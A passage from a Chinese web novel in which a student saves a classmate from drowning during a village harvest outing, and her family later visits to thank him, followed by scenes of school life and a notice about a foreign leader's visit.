八连的战士们在出发前就准备了干粮，毕竟6个排200多号人要是让深水村解决中饭，那二个人一个月的口粮都不一定能够吃。那这些学生就不是来“学农”来了，那是给村里添麻烦来了。 不过深水村也不能让干了一上午农活的学生们就吃干粮和凉水啊，贾主任挨家凑了20个土鸡蛋，做了好几大锅鸡蛋汤挑了过来。虽然这汤舀到碗里看不到几片蛋花，但是这毕竟是深水村全体社员们的一片心意。 红旗中学一直都在开展“学军”，虽然“不拿群众一针一线”，但是深水村这是在展示了“军民鱼水情”，红旗中学这边也不好拒绝，伤了深水村这边的心。 吃着自带的干粮，就着温热的蛋花清汤，红旗中学八连全体学生们算是经历了一次特殊的中午饭。 干了一上午的活，吃完了中午饭，现在所有八连的学生们不说精疲力尽，起码也累的够呛。这不吃完饭，学生们都三三两两的躲在树荫下休息。 有那累的狠的，已经将草帽往脸上一扣，四仰八叉的躺倒在地上；不过也有那缓过劲的，跑到河边戏水，在这正午天气最热的时候，这也不失为一种消暑的手段。 但是一声疾呼打破了这片刻的宁静。 “有人落水了，快救人啊！” 第19章 落水 对于天生爱干净的女孩子们来说，干了一上午的农活，现在一个个脸上都混儿画的，汗液混着灰尘，在脸上形成一道道灰痕。在集合的时候，不少女孩子都走到小河边洗手、洗脸、投手巾，将自己收拾的干净一些。女孩子们还只是站在河边，脚不沾水，不少男孩干脆就脱了鞋袜直接走到河里洗脸。 好在马上就开饭了，学生们也都是浅尝则之，很快就回到了各自的队伍。 但是吃完饭之后，无论是这次带队参加麦收的老师还是深水村这边，都没有让学生们顶着大中午的太阳干活，毕竟学生们还是些十三四岁的孩子，学生们真要有中暑了或者出了其他什么事的，两方谁都担不起这个责任。 有树荫的地方毕竟是少数，不少学生都是在河边找一块空地休息。学生们在饭前到河边都是浅尝则之，没再有出现什么问题之后，无论是男生还是女生，胆子都大了起来。不少男生女生，都脱了鞋袜到浅水中凉快一会儿。 不知从何而起，又或者仅仅只是一个意外，男生和男生之间，女生和女生之间，男生和女生之间，大家都互相向对方扬水嬉戏，有追逐的，也有逃跑躲避的。 三排一个女生由于躲避淋过来的河水，在躲避的途中没注意脚下，直接滑倒在了水中。在岸边的三排排长徐静理发现这个情况，赶紧招呼同学们停止打闹，赶快将倒在水中的女生拉起来。可是周围的欢闹声，笑声太吵了，根本没有人听进去徐静理的话，徐静理赶紧脱了鞋袜自己往出事的地方走。 滑倒的女生在滑倒之后就陷入了慌乱，手忙脚乱的就开始起身，但是水中湿滑，试了两次都没站起来，这时候周边也有人发现情况不对，赶紧往这边趟过来，准备拉起这个女生。 若是只有一个人过来，拉起女生之后也就没什么事了，但是发现的人越多，着急赶来的人就越多，慌乱之中不少人都滑倒了，附近的人之后先就进拉起滑倒的同学，三排这边一时之间就跟下饺子一样，不断有人滑倒又被拉起。徐静理自己都在往出事地点赶的过程中滑倒了一次，不过好在有旁边的人及时拉起了徐静理。 等徐静理赶到出事地点的时候，不少同学也都赶了过来，第一个滑倒的女生已经被拉了起来，正惊魂未定的躲在一个女生的怀里。周边一圈女生围住这个全身湿透了的女生。外圈的男生们也在问着有没有什么事。 徐静理大声的对着所有人喊道：“都别在这围着了，先赶紧回岸边！男生们，赶紧的！” 说完话的徐静理立马走进内圈了解情况，男生们也都开始往岸上走。就在这稍微有些混乱的时候，徐静理一个趔趄，脚下好像踩空了，一下子就摔到了河里。 附近的同学们赶紧伸手去捞徐静理，可是根本没捞住，而且眼看着水中的徐静理打着旋的往河水中间而去。 “有人落水了，快救人！” 伸手捞徐静理的同学见到这个情况，赶紧大声招呼道。 这一声招呼不说还好，一说，不少人也不管自己会不会水，直接就往水里跑。有人不会水，刚到水里就开始挣扎，这让那些会水赶紧先去救附近的人，而且越是这种不会水的，救起来越麻烦。 稍微耽误了会儿功夫把这些不会水的弄上岸，徐静理在水中已经冲出去一段距离了。、 三排的同学们正不知所措的大声呼喊呢，就见离他们不远的地方，五排所在的地方，一个身影直接跳入了水中，往徐静理那边游去。而跳下去的正是白建军。 其实不单三排是这样的情况，整个八连六个排，都有学生在水边戏水，各个排的干部们自然不会跟普通学生们一样下水嬉闹，但是在岸边盯着以防意外，却是这些排干部的职责。 三排那边发生混乱的时候，就已经引起了四排和五排这边的注意。刚开始大家都没有太在意，毕竟同学们所在的位置还比较浅，最多也就刚刚半米多深，刚刚没过膝盖，有人滑倒顶多就是狼狈点。但是徐静理意外被冲去河水中，那水就深了。 深水村，深水村，指的就是村里的这条河比一般的河要深一些。 三排那边一耽误，四排五排这边立马有了反应，四排那些同学还在脱衣服的时候，五排的白建军直接就跳到了水中。这时候同学们也反应过来，这是救人，还脱什么衣服啊，四排五排几个会水的男生也跟着往河里跳。 等白建军逆流截住顺流的徐静理的时候，其他几个男生也离着不远了，可是这个时候徐静理已经呛了好几口水，而且已经不再挣扎了。白建军从徐静理的身后用一只胳膊架住徐静理，尽量让她的脑袋露在河面上，自己则用另外一只胳膊背对着岸边，用力的往岸边游去。 好在没一会儿，其他男生就到了白建军身边，大家合力把徐静理拖到了岸上。 徐静理被拖到岸上之后，一点呼吸都没有，白建军一看就知道徐静理这是呛水造成呼吸暂停。 “哥几个，赶紧搭把手！”白建军单膝跪地，看着身边湿漉漉的几个同学指着自己膝盖说道“把她的肚子搭在我的腿上。” 这几个同学也不知道白建军要做什么，但是现在有人发号施令，总好过大家不知所措强。 等徐静理被搭到了白建军的腿上之后，白建军立刻开始拍打徐静理的后背，可是拍了好几下，也不见徐静理口中吐出水来，这下白建军是真有些急了。 “哥几个，赶紧把她放平！” 大家也都看出来，白建军这是在救人，几个刚刚下水的男生立刻把徐静理扶起来，又放平。 “都别围着啦，离远一点！” 白建军直接对着围过来的学生大声的喊道。 说完，白建军也不再理会周围的人，准备给徐静理做心肺复苏。可是当白建军的手刚要放到徐静理的胸口的时候，一个声音突然从人群中传了出来。 “这是要干什么？趁人之危耍流氓么？” 白建军理都没理，直接一个字脱口而出。 “滚！” 第20章 救人 京城郊区，深水村的河边。来参加麦收的红旗中学八连的不少学生们都脱离了各自的队伍往一个地方聚集。 在内圈一阵阵惊呼中，外圈那些看不到里面具体发生了什么的学生们赶紧打听。 “五排班长白建军解开了三排排长徐静理衣服最上面的扣子。” …… “白建军手放到了徐静理的胸口上按压！” …… “白建军竟然亲了徐静理，还嘴对嘴亲了好几次！” …… “徐静理吐了白建军一身！”“该！” …… “活了！活了！救过来了！” 内圈学生们一阵欢呼声传来，外圈以及刚刚过来的学生才知道里面是在救人，毕竟刚才四排、五排好几个男生跳入河中把一个人拖上来的事就发生在学生们的眼前。 早就过来的几名带队老师一直站在内圈默默的看着白建军在抢救徐静理，虽然她们不懂白建军在做什么，但是也都没有出言阻止，不过紧紧攥在一起的双手，暴露了这些带队老师们紧张的心。 这要是真有学生落水溺亡，那她们这些带队老师绝对难逃其责，好在经过白建军的一番努力，徐静理终于将肚子里的水吐了出来，呼吸和心跳都恢复了正常，人也睁开了眼睛。做为五排班主任的楼玉芬，在徐静理醒过来的第一时间就长舒了一口气，然后直接看向仍在给徐静理号脉的白建军问道。 “白建军，你是怎么做到的……嗯，或者说你为什么会……那么做啊？” 大家都不理解白建军按压徐静理的胸部以及白建军给徐静理做人工呼吸的举动。 这要是放在白建军前世，根本不会有人提出这个问题，但是在这个青年男女处对象时都只能偷摸拉着小手指头的时代，白建军的行为不被理解也是正常的。甚至在不少同学眼中，白建军的所作所为和耍流氓没有什么区别，所以现在白建军必须得解释清楚。 “《赤脚医生手册》第106页，第三章急症处理之溺水。”白建军头也没回，一边示意徐静理先不要动，一边开口说道。“急救措施：一，倒水。将患者翻转俯卧，两手插入腰部提高，使头肩低位，这样易于压迫及排空胃内积水。” “上岸之后，情况紧急，我单膝跪地，让同学们将患者腹部置于我膝盖处，我拍打患者后背，没有排出患者体内积水，患者呼吸停止，心跳微弱，我不得不采用其他办法。” “急救措施：二，人工呼吸和心脏按摩。如果呼吸已经停止，宜即作俯卧压背式人工呼吸，要持续进行，并配合口对口呼吸，这是较有效的一种治疗方法。若心跳微弱或已停止，应同时配合心脏按摩。” 白建军平静的背诵着《手册》上的原话以及自己的处理方法，并且并没有直接叫徐静理的名字而是称呼她为患者，这就让白建军和徐静理的关系变成了医患关系。而且有《手册》作为背书，任何人都不能说白建军的行为有错。 听到白建军的解释，不仅带队老师们佩服不已，就连围观的学生们也都开始给白建军欢呼叫好。 虽然大多数人都不知道白建军说的是真是假，但是既然白建军能背诵出来，那肯定就是有出处的。大多数人朴素的会认为，人家既然说的头头是道，那就肯定是有一定的道理的，而且白建军的所作所为确实救了徐静理。 这样的话么。这么算下来，白建军这就是遵从教导、是听话的好同志、是真正的将书本上学到的知识运用到实战当中。若不是场合不对，这绝对是一件该大力宣传的事情。 “楼老师，还得麻烦您跟深水村这边商量一下，看看有没有红糖和生姜，得熬点红糖姜水。”白建军对着脸色已经有些红意的徐静理笑着点了点头，然后起身看着楼玉芬以及其他几名带队老师认真的说道。“虽然现在气温比较高，但是徐静理排长刚刚落水，还有其他几名落水的女战士，她们都需要喝点姜水驱除一下寒气，回去之后最好再去医院检查一下，看一看有没有肺部感染等其他隐藏问题。” 虽然楼玉芬是老师，白建军是学生，但是白建军现在说的话是以一个医生的身份在说话，大家并没有觉得白建军的态度有什么问题。 “好，我这就去找贾主任去商量！”楼玉芬立马答应道。说完还不忘看着几名衣服湿透了男生们说道。“你们几个下水的男生，赶紧把衣服脱了晾一晾，你们也要注意，别再感冒了！” 楼玉芬说完话，和几个老师商量了几句，就快步往深水村方向走。其他剩下的老师们也开始驱散围过来的学生们。 “都回各自所在的排去，还围在这里干什么？” “所有人不许再到河边，若有违反者，学校一定会做出最严肃处理！” 随着几个老师不断地驱散周围的学生，白建军他们跳水救人的事情也传遍了整个八连，虽然四排、五排还有几个学生也都下水了，但是最后急救的环节才是救人的关键。哪怕老师们禁止大家再去河边，同学们也不觉得无聊，纷纷讨论起白建军他们救人的事了。 四排和五排这边，刚刚几个跳下水的男孩都把上衣脱了用树杈挂住晾晒，白建军再次成为了两个排的焦点。在一堆光着膀子的少年中，白建军那身精瘦的肌肉，特别是那腹部的八块腹肌更是引得两个排的女生注意。这些女生刚开始还有些不好意思，只是时不时的偷偷瞄一眼，可是后来她们发现身边的小姐妹都在有意无意的往那边看，也就没有了不好意思，都盯着白建军那边看。 被这么多视线注视着，本就母胎单身两辈子的白建军，浑身上下都不自在。好在也没多大一会儿，楼老师就从深水村那边回来了，而且不仅楼老师回来了，深水村那边特意赶了一辆马车过来了，为了就是将徐静理以及三排那几个落水的女生接走，同样被叫走的还有刚刚那些下水的男生，不过男生们可就没有坐车的待遇了。 除了白建军他们几个最后跳水救人的，剩下回深水村的都是三排的人，可以说他们排一大半都跟在了马车后面。看着往深水村方向走的学生们，还留在原地的三排同学，一个个都跟遭了瘟的小鸡崽儿似的。 白建军他们几个是救人的英雄，而三排那么多人还是没把自己的排长救上来，这让整个三排的学生们都面色无光。 第21章 麦收（完） 深水村这边在知道红旗中学的学生在河边出事以后，都被吓的够呛，不过听说人已经抢救过来，脱离了危险，也都松了一口气。至于楼玉芬提出来的煮一些红糖姜水的事，贾主任更是一口答应了下来。 等学生们回到深水村的时候，贾主任不仅叫来了一位赤脚医生，还找来了一些社员们的旧衣服。等学生们换下湿乎乎的衣服，村里找来的那位赤脚医生又分别给徐静理和其他几个落水的女同学都检查了一下。 “小同志，你这救人的手法，比我这个干了好几年赤脚医生的人都专业！”赤脚医生检查完之后，当着贾主任还有楼玉芬的面对着白建军夸赞道，说完还不忘拿出随身带着的《赤脚医生手册》给楼玉芬。“听你们刚才说的话，这小同志说的话和《手册》上的几乎一字不差，足见这位小同志是真把这部《手册》上的知识看进去了。” “您高抬我了！”白建军谦虚的看着面前的这位赤脚医生说道。“我还有很多不足，需要学习的东西还有很多！” 楼玉芬非常满意白建军今天的表现，不仅在上午干活的时候，让五排的表现遥遥领先其他几排，更是在中午的时候给自己这边放了个“大卫星”。 楼玉芬和其他几名带队老师已经了解了事情的经过，徐静理落水虽然是一个意外，但是也凸显出了三排在遇到紧急情况时的慌乱表现。 如果在最初那个女生滑倒的时候身边人就将其拉起来；如果没有那一嗓子“有人落水”的喊叫，三排学生也不会一窝蜂的往一块去遮挡了排干部们的视线；如果徐静理在第一个女生被救起，不是关心则乱的上前，而是在外围进行组织，也不会被人群撞到，从而踩空被水流冲到河中。 如果徐静理真的出了意外，不仅带队老师们有责任，就连深水村这边的贾主任，也会被处分。但是好在徐静理被四排、五排的学生们给救了上来，白建军更是运用《手册》上的急救知识，直接将溺水的徐静理救活。没有闹出人命，这就把事情的影响降低到了最小的层面。 白建军他们几个下水救人的学生同样喝了一碗姜汤水之后，几人就推举白建军让他和楼玉芬提出来要回各排那边去。村里这边已经开始准备马车要往回运麦秆儿了，可是各排负责的地里还有不少麦秆儿没捆呢，大家都想回去帮忙。 对于白建军他们的想法，楼玉芬是很高兴的，但是楼玉芬还是问了一下赤脚医生的建议，那位赤脚医生建议让徐静理和其他几个落水的女生先留下来观察一下，其他男生都没什么问题，楼玉芬也就同意了白建军他们几人的请求。 就这样白建军他们这些男生都跟着深水村的马车回到了地头这边，而随着这些马车的到来，下午的麦收工作也正式开始。白建军归队之后，立刻会和了杨树影和叶菲去帮助其他进度落后的小组。 “白班长，你这身材是怎么练出来的啊？” 白建军他们正往麦田里面走，就有五排的其他男生看着白建军问道。 “仍石锁，俯卧撑、仰卧起坐，每天坚持自然而然就练出来了。”白建军笑着回答道。“主要就是坚持，三天打鱼两天晒网的，可练不出来。” 道理很简单，甚至大家也都知道每天坚持锻炼，但是真正能坚持下去的人则少之又少。 说说笑笑之间，大家一边整理的之前胡乱摆放的那些捆好的麦秆儿一边往前走。白建军回深水村的时候，五排这边的派干部们就开了个小会，常建国总结了上午大家的工作，又提出了发现的几个问题，其中的一个就是麦秆儿摆放的事。这也是常建国在回来的时候，发现自己这边和白建军那边的不同。虽然当时白建军不再，但是常建国在问了杨树影和叶菲之后，也明白了白建军那么做的用意。 村里的马车过来收麦秆儿拉回去，摆放整齐的麦秆，能让马车一直往前走，只需要路过的时候把麦秆儿堆到马车上就好；摆放不整齐的，可能会挡了马车的道，这样马车就得时不时的停下来清理这些。虽然差别不大，但是效率上明显会降低一些。常建国直接要求五排的同学们在下午开始干活后，顺手再把麦秆儿整理一下。 当然这么做的也不仅是五排，其他排也有不少人效仿的，毕竟整个八连的同学们虽然都是第一次参加麦收劳动，但是这些学生中有不少的哥哥姐姐都是高年级的，他们可都参加过麦收，提前和弟弟妹妹说一下要注意的事项也是应有之义。 下午到是没有发生什么涉及到生命安全的大事，但是小的事故也时有发生，最让人闹心的就是好不容易摞好的麦秆儿，在返回村子的途中从马车上掉了下来，或者是半车麦秆儿都倒了下来。 五排这边算是最先完成捆麦秆的队伍了，之后大家都帮着村里运输麦秆儿，除了马车拉，同学们也发挥出人多力量大的优势，男生背2、3捆麦秆儿，女生背1、2捆麦秆儿直接往村子里走。 等到下午五点左右，尽管麦田里仍然还有一些收尾工作没有完成，但是红旗中学八连的战士们还是结束了第一次的麦收劳动，在深水村全体村民的欢送下，登上了回城的卡车。 一大早兴致满满的学生们，一登上卡车，大多都坐在卡车里不想动地方了，要不是卡车地方有限，恐怕大家都会四仰八叉的趟下。等坐着卡车回到了学校之后，经过这么一段时间的休息，不少学生下车的时候都龇牙咧嘴的。 虽然大家都带着手套等劳保用品，但是一天的劳动，不可避免的让不少学生手上和脚上磨出了水泡。干活的时候还没留意，但是一闲下来，脚上、手上磨出来的水泡，就开始刺激学生们神经。特别是脚上的那些水泡，每走一步都让学生们酸爽不已，可是学生们一个个嘴里还兀自的强调着自己这是“轻伤不下火线”。 红旗中学这边也没办什么总结大会，现在先让学生们回家休息，等周一上学再办也来得及。不过学生们能走，各带队老师可没走，特别是八连这边，楼玉芬直接把今天参加麦收劳动过程中所发生的事情和成果向校革委会进行了全面汇报。 校领导充分肯定了白建军等同学英勇救人的表现，并且对于白建军运用《手册》学到的知识对落水同学进行急救也给予了高度的评价。大家一致决定，在总结大会上，对于白建军等几位救人的“英雄”给与表彰，而且授予八连五排先进集体的锦旗。 而白建军也和夏建红她们回到了自己的家中，像很多家长一样白建华和李香秀也早就做好了饭菜等着白建军回来。 第22章 知恩图报&挟恩图报 麦收的第二天，今天的白建军难得的懒床了。虽然没有像其他同学累的爬不起来，但是昨天的体力确实消耗的有些大，白建军晚上回来不仅比平时吃的多了点，而且晚上也没有继续锻炼，早早躺在床上睡着了，醒来的时候已经大天亮了。 “我还以为你还得等一会儿才能醒呢！” 白建华看着走出自己屋子的白建军说道。 “昨天太累了！”白建军看着准备出门的白建华和李香秀说道。“现在才算是恢复了过来。” “那你先洗漱，然后吃饭吧，都在锅里呢，现在估计还没凉！”白建华看着没啥大事的白建军说道。“我和太奶奶上菜市场买点菜，回来你给我做点好吃的。” “姐，你这一个礼拜，就等着这两天呢吧！” 白建军笑着看着白建华说道。 “少耍贫嘴！”白建华白了白建军一眼，然后挽着李香秀的胳膊。“太奶奶，咱们不理他，咱们走！” 说完话，白建华就拉着脸上露出宠溺神情的李香秀往外走。 白建军见白建华和李香秀离开，也开始洗脸刷牙，然后把早饭解决了，之后就是稍微锻炼了一下身体。也没有多大功夫，白建华就和李香秀提着一条猪肉以及一小捆粉条回来了。 “姐，你这意思是中午要吃白菜炖粉条？” “你看着做，要是不好吃，哼！” 虽然原来的白建军比白建华小两岁，但是现在有着成年人灵魂的白建军可是一直拿白建华当妹妹一样宠着。同样，李香秀经历过白家好几位姑奶奶，虽然她们不少人都命途坎坷，但是打小也无一不是被宠溺着长起来的。 白建军接过猪肉看着这肉挺肥的，心里就有了数，正准备往厨房走呢，就听到外面有敲门的动静，之后外面一个清丽的女声传了进来。 “家里有人么？” “家里有人，您稍等！” 白建华答应了一声，然后在李香秀的示意下去开门，白建军也没在意，直接往厨房而去。 白建华走到大门口，就看到一个穿着蓝上衣灰裤子的女人领着一个女孩站在白家大门前，在她们两人身后，还有一个一身蓝衣服的男人，两只手里提着各提着两个网兜。 “您找哪位？” “建华姐！” 小女孩不是别人正是徐静理，看到白建华出来，直接开口叫道。 “你认识我？” 白建华疑惑的看着徐静理问道。 “你是白建军的姐姐吧，我们是来感谢他的。”徐慧真拉着徐静理的手看着白建华客气的说道。“昨儿个她们不是去参加麦收了么，我家这孩子掉河里了，是你弟弟把她捞上来并救过来的！” “还有这个事呢？也没听建军说过啊！” 白建华一下被徐慧真的话说懵了。昨天白建军回来，吃了饭，直接就躺床上睡着了，也没和白建华和李香秀说救人的事。 “建华！谁来了？”院里的李香秀听到外面一直有人说话，直接对着外面喊了一句。“怎么没请人进来啊！” “真不好意思，阿姨、叔叔，你们快里面请！” 白建华听到里面李香秀的招呼，赶紧不好意思的把徐慧真一家子往院里让。徐慧珍跟着白建华走进了白家的院子，一眼就看到了站在正屋门口的李香秀。 “呦，李阿姨，怎么在这儿遇到您了！” “人呐，上了年岁就有些健忘！”李香秀一时之间没想起来徐慧珍是谁。“真对不起您了，咱们在哪见过？” “李阿姨，说这话都得有10多年了，当初咱们在市里开会的时候，我远远的就见过您！”徐慧真拉着徐静理快步走到李香秀面前。“当初参会的女代表一共也没有多少人，您可是让我印象深刻。” “想起来了，我没记错的话，你是小徐，小酒馆的徐慧真？” 经徐慧真这么一提醒，李香秀也记起来了，当初她代表白家参加市里举行的政协会议的时候，遇到过当时同为代表的徐慧珍。 “正是我！” 徐慧真松开徐静理，主动跟李香秀握手说道。 “一晃多少年没见了，咱们先进屋！” 李香秀看着热情的徐慧真，虽然不知道其来意，但是看到后面蔡全无拎着东西，起码不是坏事。 等都坐下了之后，李香秀也直接问出了徐慧真这次的来意。 “小徐，你今天来这儿，是……” 刚刚徐慧真对白建华就解释了一遍，这会儿李香秀问起来，徐慧真就又说了一遍。这时候听到动静的白建军，也擦完了手走进了正屋，看着蔡全无和徐慧真招呼了一声。 “蔡叔、徐姨！” “好孩子，阿姨真的太谢谢你了，要不是你，我们就在再也见不到理儿了！”徐慧真看到白建军进来，一下子站起来走到白建军面前抱住了白建军。“理儿就是阿姨的命，你不仅仅是救了理儿的命，也是救了我们全家的命啊！” 当徐慧真松开白建军的时候，白建军才终于能说话了，刚刚徐慧真搂的太紧了。 “徐姨，昨天就是个意外，换成是别人落水我也会去救的，而且也不是我一个人跳进河里，没有其他人的帮忙，我也不能那么快把徐静理救上来。” “好孩子，事儿我都打听清楚了！你从河里救理儿是一码事儿，上岸之后你把理儿救活是另一码事儿。”徐慧真看着谦虚的白建军摇了摇头说道。“若是没有你给理儿做急救，理儿说不定就……” 昨天徐静理是被同学送回来的，她们也说了徐静理落水被救的事以及让徐慧真明天带徐静理去医院再检查的事。昨天半夜徐静理睡觉的时候吓醒了好几次，徐慧真一宿都没睡，就守在徐静理身边。 今天早上一大早，徐慧真就带着徐静理去医院做了检查，等检查结果出来说徐静理没事，徐慧真才算放下担心。跟着徐慧真一家三口就去了王府井买了四样东西，来了白家。 “徐姨，事情都过去了，您也不用担心啦！”白建军反过来安慰徐慧真说道。“对了，您带徐静理去医院检查了么？” “查过了，没有任何问题，我们完事就过来感谢你啦！” 徐慧真脸上终于露出了笑模样，然后看了一眼蔡全无。蔡全无就把刚刚提的东西放到了白家的桌子上。 “阿姨也不知道该怎么感谢你，就买了几样东西，另外这是阿姨的一点心意。” 说完话，徐慧真从兜里拿出来一沓钱，就准备递给白建军。白建军哪能接这个钱啊，就是徐慧真送来的东西都不想要。 “小徐啊，钱你收回去，我们不能要！”李香秀看着拿钱的徐慧真直接说道。“就是东西你也拿回去吧！” “就是，徐姨！”白建军赶紧点头说道。“我和徐静理小学就是同学，您家我也去过不少次了，您这样，您让我以后怎么登您家门啊！” 徐慧真要给钱，白家三口人是坚决不要，甚至东西都不要，僵持了一会儿，蔡全无才说道。 “慧真，钱你就先收起来吧！”说完话，蔡全无又看向了李香秀。“老人家，毕竟建军救了我们家理儿，钱您老人家不收，但东西您得留下。要不然，您说出了这么大的事，我们家没有一点表示，您让街坊邻居怎么看我们啊！” “那成，老太太我就厚颜把东西留下了！” 又说了一会儿话，蔡全无又邀请白建军有功夫过去看他，徐家一家三口才从白家离开。 “铁盒大白兔！福建的茶叶！汾酒！铁盒饼干！”送走了徐家人，白建华看着徐家送来的东西发出阵阵惊呼。“就这几样，哪样都不便宜啊！” “建军，在外人看来，徐家送来东西是知恩图报！”李香秀笑着看着白建军问道。“若是咱家收了徐家的钱，那又叫什么？” “那就叫挟恩图报啦！” 第23章 心里有数 虽然学校颁发的荣誉让白建军一下子成了全校的知名人物，不少小组也都想把白建军拉到自己的小组中，不过白建军对这些邀请都婉拒了。在之后的日子里，白建军一直以低调为主，没过多久学生们也就把白建军救人的这件事忘记了，而白建军做过的事情，也只是成为了档案中的一条记录，以及学校“再教育子女”成功的功绩。 虽然白建军救了徐静理，但是白建军也没有频繁的往徐家去，除了如之前一样，有新发型邮票的时候，白建军才会去一趟徐家和徐静理交换邮票，平时两人在学校遇到，也只是点头打打招呼。 学校的生活虽然平淡，但是这份平淡正是白建军所希望的，白建军一直在给自己立“人设”，就是想平静的渡过这段不平静的日子。别人可能都以为会很快就结束，但是白建军知道，离着结束还有六年呢。 时间一晃就来到了寒假前，白建军以及红旗中学的学生们都迎来了“学军”的新项目——拉练。 拉练可不同于麦收，参加麦收是抢时间，所以学校联系了车辆送同学们直接去到京郊，但是拉练是为了锻炼学生，学校自然不会提供交通工具。 冰天雪地的寒冬，迎着风雪，同学们嘴里大声喊着的口号，啃着干粮行走在北方农村蜿蜒崎岖的小路上，一路翻山越岭，站在长城上振臂高呼打倒帝国主义的口号。 这一趟拉练，真正的让同学们明白了当年“最可爱的人”是在多么艰苦的环境下，为新种花的后辈们打下了一个安稳的成长环境。 时间来到了新种花22年，白建军刚升入了初中二年级，在又一次参加了麦收之后，一个“大事件”震惊了所有人。别的层面白建军不得而知，就是白建军身边的人，都因为这个“大事件”迎来了很大的变化。 隔壁四合院的田志远和夏默在“大事件”发生之后的不久，就恢复了正常工作；叶菲、苏萌的父母在“大事件”之后也都恢复了工作。因为家长的变化，不少学生的处境也变得好了很多。 到了初中二年级，白建军他们这一届的学生终于改变了上半天课的作息时间，变成了全天上课。因为到了明年，大部分学生都要面临人生的选择，同样因为“大事件”的发生，很多同学的命运也跟着改变了。 像白建军、夏建红、叶菲以及苏萌这样的学生，原本在明年初中毕业之后，大概率是要下乡的，但是正是因为“大事件”，几人都有机会升入高中继续读书了。 上午的最后一节课结束，收拾好桌面的叶菲突然看着白建军小声问道。 “白建军，你明年有什么打算？” “嗯？什么意思？” 白建军一时之间没明白叶菲的意思。 “我的意思是说，你明年是准备参军，还是准备进厂参加工作，或者是下乡？” 叶菲瞪着水灵灵的大眼睛看着白建军小声问道。 “咱们班，能参军的，也就是常排长一个人；至于参加工作，咱们就不用想了，那么多高中生呢，有工作名额也不一定会轮到我们。”白建军笑着摇了摇头小声说道。“咱们这届，就两个选择了，要么上高中，要么下乡。” “那你呢，你是下乡还是升学？” 叶菲看了看周围没有人注意他们俩继续问道。 “能升学当然是最好了！” 白建军苦笑的说道。 “那你就好好学习！” 叶菲小声的说道。 “听天由命吧！” 白建军小声的回了一句。 两人闲聊了一会儿汇合了杨树影就往外走，正好遇到了在大门口等人的苏萌，叶菲看到站在校门口的苏萌，怯生生的招呼了一句。 “苏萌…姐！” “叶菲！白建军！”苏萌打量了一下叶菲和白建军。“你们这是……？” “我们俩是同桌，而且今天我去我太奶奶家，她在九道湾那边住！”白建军看着苏萌解释了一句，突然反应过来。“苏萌，你和叶菲以前认识？” “我们俩算是亲戚吧！”苏萌看了看叶菲，又看着白建军说道。“我等会韩春明和程建军，你们先走吧！” “那好，我们先走啦！” 白建军大大方方的和苏萌打了招呼，就往九道湾那边走，叶菲和苏萌点了点头之后和杨树影快步跟上了白建军。 “白建军，你和苏萌很熟么？” 叶菲跟在白建军身边，随意的问道。 “我们小学是一个班的，也是一个学习小组的，上了初中以后，虽然都在正阳门那边住着，但是平时来往挺少的。”白建军也随意的说道。“话说，你们俩怎么还是亲戚啊？” “她妈和我妈是堂姐妹！只是平时来往的少了一些。”叶菲笑了笑说道。“以前她们六排不是下午上课么，一年也遇不到几次！所以知道我们关系的人就比较少。” 叶菲说完，又叹了口气。 “唉，我们也就还剩下这一年时间能全天上课了。”叶菲略带伤感的说道。“明年这时候，我们可能就要到农村去了。” “明年的事，谁知道呢！”白建军看了看叶菲和杨树影，随意的说道。“能平平安安的，过一天是一天！” “你们俩，就是多愁善感！”杨树影边走边说道。“我反正是到时候听学校的安排，大不了去农村！” 在杨树影说完话之后，三个人都陷入了沉默。之后到了九道湾，三个人就各回各家。 等白建军吃完饭，李香秀叫住了白建军。 “建军，你以后有什么打算？” “太奶奶，当兵我估计是够呛，虽然中专我有把握考上，但是我不想走这条路！我想再读两年高中之后再说！”白建军看着李香秀认真的说道。“另外我想看看能不能通过高阿姨和曹阿姨她们，让我姐毕业之后去到部队医院。” “你别太委屈自己，什么好事都让给你姐！” 李香秀看着白建军摇了摇头。 “太奶奶，我心中有数！” 第24章 鹰酱来访 新种花23年，春节在2月中旬，白建军初中的最后一个学期开学的日子原本定在初八这天，但是刚过了初三，街道、居委的同志就挨家挨户的进行走访。 “刘干事，过年好！您这大过年的还没休息啊！”白建军看着走进来的街道的刘干事意外的说道。“您今儿个来，是有什么指示？” “建军，建华，李奶奶也在啊！”刘干事笑着和白家三口人打着招呼。“什么指示不指示的，我过来就是看看，顺便通知一下大家伙！” “这又出什么事了？”白建军好奇的看着刘干事问道，边说边把刘干事往屋里让。“咱们进屋说，屋里暖和！” “各位，我就不进去了，说完了，我还得去下一家！” 刘干事拒绝了白建军的好意。 “那多不好意思啊！” 白建军赶紧说道。 “建军，我谢谢你了！”刘干事客气的说道。“今天真有重要的事！” 白建军见刘干事真不像是客气，也就停下了动作。 “刘干事，您说！我听着！” “上面下来通知，初七到十二这几天，上班、上学时间提前，务必保证八点以后，主干道上不会有行人出现。”刘干事郑重的看着白建军说完，又看着出来的白建华和李香秀说道。“不上班在家的，也必须在家呆着，买菜也要趁早，八点之后，也不要出现在马路上。” “不是，刘姨，这通知是什么意思啊？这是发生了什么事了？” 白建军都惊了，就是白建华和李香秀也疑惑的看着刘干事。 “据说，只是据说！”刘干事转身看了一眼门外，然后才转过身看着白建军和走过来的白建华以及李香秀小声说道。“好像是鹰酱的大统领要来！” “鹰酱？大统领？” 白建军一听刘干事这么说，一下子想到了，鹰酱大统领尼水门不就是在这时候来的新种花么。 “咱们反了这么多年的美帝，怎么突然美帝的头子就来了呢？” 白建华疑惑不解的问道。 “建华，别瞎寻思！上面让干什么就干什么！”刘干事摸了摸白建华的头说道。“你好好上你的学就行！” 刘干事说完白建华，又看向了白建军叮嘱道。 “建军，你也一样，要好好读书！” “刘姨，我一定好好读书！” 白建军笑着看着刘干事说道。 “李奶奶，你们也快回屋吧！”刘干事说完话，冲着大家摆了摆手。“我先走啦，还得去下一家！” “刘姨，我送您！” 看着刘干事往外走，白建军赶紧跟着往外走。等到了门口，刘干事停下了脚步。 “快回去吧！外面还挺冷的！” “刘干事，您这大过年的，多辛苦，要不我帮您通知几家！” 白建军看着刘干事说道。 “这是我的工作，怎么能让别人代劳呢！”刘干事摇了摇头说道。“行了，白建军，你回去吧，记住通知的内容啊！” “刘干事您放心，我保证配合街道的工作！” 白建军立马立正大声说道。 送走了刘干事，白建军返回了正屋，白建华和李香秀都在屋子里等着白建军回来。 “建军，你说鹰酱大统领来京城之后，那我们能和南边联系联系么？” 李香秀看着白建军问道。 “太奶奶，虽然发生了‘大事件’，全国上下都在改变，但是我们还是等等吧。”白建军摇了摇头看着李香秀说道。“现在还不是时候。” 白建军没办法和李香秀明说，有些人为了个人的欲望已经疯了。 